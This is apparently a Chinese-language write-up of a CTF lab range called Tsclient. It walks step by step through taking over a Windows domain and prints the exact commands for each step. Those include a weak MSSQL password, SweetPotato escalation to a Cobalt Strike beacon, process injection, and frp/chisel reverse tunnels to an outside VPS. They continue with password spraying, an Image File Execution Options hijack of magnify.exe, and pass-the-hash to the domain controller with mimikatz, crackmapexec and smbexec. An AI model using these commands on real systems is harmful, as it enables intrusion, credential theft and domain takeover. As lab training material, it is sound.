Tsclient

  • mssql弱口令
  • 提权
  • CS注入在线用户进程上线
  • 共享文件
  • CS不出网转发上线
  • 映像劫持提权(放大镜提权)
  • 横向移动

flag01

使用fscan扫描ip
fscan.exe -h 39.99.147.111 -p 1-65536

扫描出1433 mssql的账户密码,如下

使用Multiple.Database.Utilization.Tools工具连接数据库

激活组件以便于执行命令和上传命令

利用SweetPotato提权并上线到CS
先使用CS生成一个artifact_x64.exe木马,并上传到机器

使用提权exe以system权限执行CS生成的木马

在CS成功上线

dir C:\flag* /s /p命令查找flag文件

使用type命令查看flag01.txt得到第一个flag
flag{1b02a94d-5010-4894-a148-5c3988dbb04e}

flag02

上传fscan扫描内网C段
fscan.exe -h 172.22.8.0/24


得到内网信息内网信息如下
172.22.8.15 DC
172.22.8.18 拿下的第一台机器
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016

用上线的第一台SYSTEM权限机器继续信息收集
net user,发现有一个john用户
执行qwinsta查看会话列表,发现有一个john用户在线

用CS查看进程列表,看看是否有该用户的进程

发现该用户的进程,点击左下角的inject进程注入

成功注入后,得到john用户的shell,如下


用john的用户信息收集,
net use发现有共享文件\TSCLIENT\C

net use \\TSCLIENT\C ,然后查看共享文件 dir \\TSCLIENT\C,发现有个credential.txt文件,用type命令查看该文件

得到一个账户密码和一个使用映像劫持的提示

1
2
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
Do you know how to hijack Image?

得到了密码就可以尝试密码喷洒,因此需要先做一下内网穿透如下:

内网穿透

公网服务器监听7000端口

客户端172.22.8.18机器frpc.ini配置如下:

1
2
3
4
5
6
7
8
[common]
server_addr =vps ip
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 6000
plugin = socks5

客户端执行frp命令

成功穿透回显

也可以使用chisel内网穿透

1
2
3
4
5
6
7
vps
./chisel server -p 7000 --reverse

客户端
chisel.exe client vps:7000 R:0.0.0.0:6000:socks
或者
./chisel client vps:7000 R:0.0.0.0:6000:socks

寻找账户密码可以登陆的机器

kali使用代理密码喷洒

1
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

发现登录31、15、46机器时,显示密码过期

使用impacket的smbpasswd.py给账户更改密码

1
python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'nihao9@888'

密码更改成功

使用kali的远程桌面登录,并设置共享目录,最终只有46这台机器登录成功

1
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'nihao9@888' -r disk:share=/home/kali/Desktop/tmp

转发上线

使用Aldrich账户的远程桌面,发现该机器不出网,因此想要上线,需要用172.22.8.18这台机器当作监听器,进行转发上线。操作如下:
选择18机器的代理转发

设置监听器

生成一个以18这台机器当作监听器的exe木马,操作如下:

生成木马

选择监听器

并把生成的木马通过kali共享目录传到172.22.8.46这台机器,从而达到上线46这台机器的目的,但是这样的话,上线拿到的权限太低,需要提权再上线。

提权

提示了映像劫持,就想办法用映像劫持
首先查看映像文件执行选项 注册表权限

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

发现只要通过身份验证的用户,就可以修改该注册表

通过修改注册表,windows系统运行每个程序时,都会在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中查找相应的程序,如果存在,那么就会进一步查找是否存在Debugger值,并会在程序运行时优先运行Debugger项所指定的程序。这样就可以将放大镜的程序替换成cmd窗口,当点击放大镜时,就会打开cmd窗口,从而就能拿到system的cmd窗口。

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

将window锁屏后,点击右下角的放大镜

点击后弹出cmd窗口

通过该cmd窗口,执行CS生成的木马,从而上线一个具有system权限的机器

执行木马

上线CS

先使用dir查找是否有Flag,找到以后

使用type 查看flag02

flag03

使用CS继续46这台机器信息收集
shell net user /domain
shell net group "domain admins" /domain
发现拿下的46这台机器的机器账户在域管理员组,且我们CS已经有system的权限

因此可以使用logonpasswords,去找机器账户的hash

横向移动

得到机器的hash后,利用crackmapexec横向移动到域控上,并查看flag03.txt.

1
proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 2c66200c70475bd322b880f813f34d7a -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

其他两种横向移动方法

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:2c66200c70475bd322b880f813f34d7a" exit
1
proxychains python3 smbexec.py -hashes :2c66200c70475bd322b880f813f34d7a administrator@172.22.8.15